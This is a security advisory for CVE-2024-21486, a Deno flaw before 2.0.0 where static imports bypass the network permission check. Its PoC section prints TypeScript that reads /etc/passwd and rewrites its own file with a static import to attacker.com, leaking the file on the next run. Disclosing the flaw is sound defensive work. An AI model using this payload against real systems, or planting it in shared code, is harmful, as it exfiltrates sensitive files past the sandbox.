# CVE-2024-21486: Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor

- Severity: Medium 5.3 (CVSS:3.1, scored by GitHub) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2025-06-05T01:21:08.000Z
- Modified: 2025-06-05T01:42:32.714Z
- Also known as: GHSA-jv4x-jv3h-qff5
- Weaknesses: CWE-200

## Description

### Summary

Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.

### Details

Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:

1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.

### PoC

```ts
const __filename = new URL("", import.meta.url).pathname;
let oldContent = await Deno.readTextFile(__filename);
let passFile = await Deno.readTextFile("/etc/passwd");
let pre =
  'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' +
  encodeURIComponent(passFile) + '";\n';
await Deno.writeTextFile(__filename, pre + oldContent);
```

Executing a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.

This vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access

(As written by GitHub Advisory Database.)

## Affected

- deno (crates.io): before 2.0.0

## References

- <https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5> (web)
- <https://github.com/denoland/deno> (package)

## Sources

- GitHub Advisory Database: [GHSA-jv4x-jv3h-qff5](https://github.com/advisories/GHSA-jv4x-jv3h-qff5), CC-BY-4.0, modified 2025-06-05

---

Page: https://cve.day/CVE-2024-21486 · Whole record: https://cve.day/CVE-2024-21486.json · Rebuilt by cve.day 2026-11-25T22:56:42.633Z
